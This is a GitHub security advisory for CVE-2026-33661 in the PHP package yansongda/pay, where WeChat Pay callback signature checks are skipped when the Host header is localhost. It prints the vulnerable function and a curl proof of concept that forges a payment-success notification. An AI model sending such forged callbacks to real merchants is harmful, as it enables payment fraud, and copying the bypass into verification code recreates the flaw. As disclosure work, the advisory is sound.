Skip to content

WeChat Pay callback signature verification bypassed when Host header is localhost

High severity GitHub Reviewed Published Mar 23, 2026 in yansongda/pay • Updated Mar 27, 2026

Package

composer yansongda/pay (Composer)

Affected versions

<= 3.7.19

Patched versions

3.7.20

Description

Summary

The verify_wechat_sign() function in src/Functions.php unconditionally skips all signature verification when the PSR-7 request reports localhost as the host. An attacker can exploit this by sending a crafted HTTP request to the WeChat Pay callback endpoint with a Host: localhost header, bypassing the RSA signature check entirely.

This allows forging fake WeChat Pay payment success notifications, potentially causing applications to mark orders as paid without actual payment.

Vulnerable Code

src/Functions.php lines 243-246:

function verify_wechat_sign(ResponseInterface|ServerRequestInterface $message, array $params): void
{
    // BYPASS: Returns without any signature check if Host header is localhost
    if ($message instanceof ServerRequestInterface && 'localhost' === $message->getUri()->getHost()) {
        return;  // No signature verified!
    }

    // ... openssl_verify() only reached when Host != localhost
    $wechatSerial = $message->getHeaderLine('Wechatpay-Serial');
    $sign = $message->getHeaderLine('Wechatpay-Signature');
    $result = 1 === openssl_verify($content, base64_decode($sign), $public, 'sha256WithRSAEncryption');
}

In PSR-7 implementations (Nyholm, Guzzle PSR-7, etc.), $request->getUri()->getHost() reads the Host HTTP header, which is fully attacker-controlled.

Proof of Concept

curl -X POST https://merchant.example.com/payment/wechat/callback \
  -H "Host: localhost" \
  -H "Content-Type: application/json" \
  -H "Wechatpay-Serial: any" \
  -H "Wechatpay-Timestamp: 1234567890" \
  -H "Wechatpay-Nonce: abc" \
  -H "Wechatpay-Signature: AAAA" \
  -d '{"id":"fake-order","event_type":"TRANSACTION.SUCCESS"}'

verify_wechat_sign() returns immediately without verifying the signature. The application marks the order as paid.

Impact

  • Payment fraud: Attacker receives goods/services without actual payment by forging WeChat Pay callbacks
  • No authentication required: Pure network attack, zero privileges needed
  • Wide reach: Affects any application using yansongda/pay for WeChat Pay callback validation. However, in most environments, Nginx/Ingress/Cloudflare/WAF will directly reject the forgery of this request header, so there is no need to worry too much.

References

@yansongda yansongda published to yansongda/pay Mar 23, 2026
Published to the GitHub Advisory Database Mar 25, 2026
Reviewed Mar 25, 2026
Published by the National Vulnerability Database Mar 26, 2026
Last updated Mar 27, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(39th percentile)

Weaknesses

Authentication Bypass by Spoofing

This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks. Learn more on MITRE.

CVE ID

CVE-2026-33661

GHSA ID

GHSA-q938-ghwv-8gvc

Source code

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.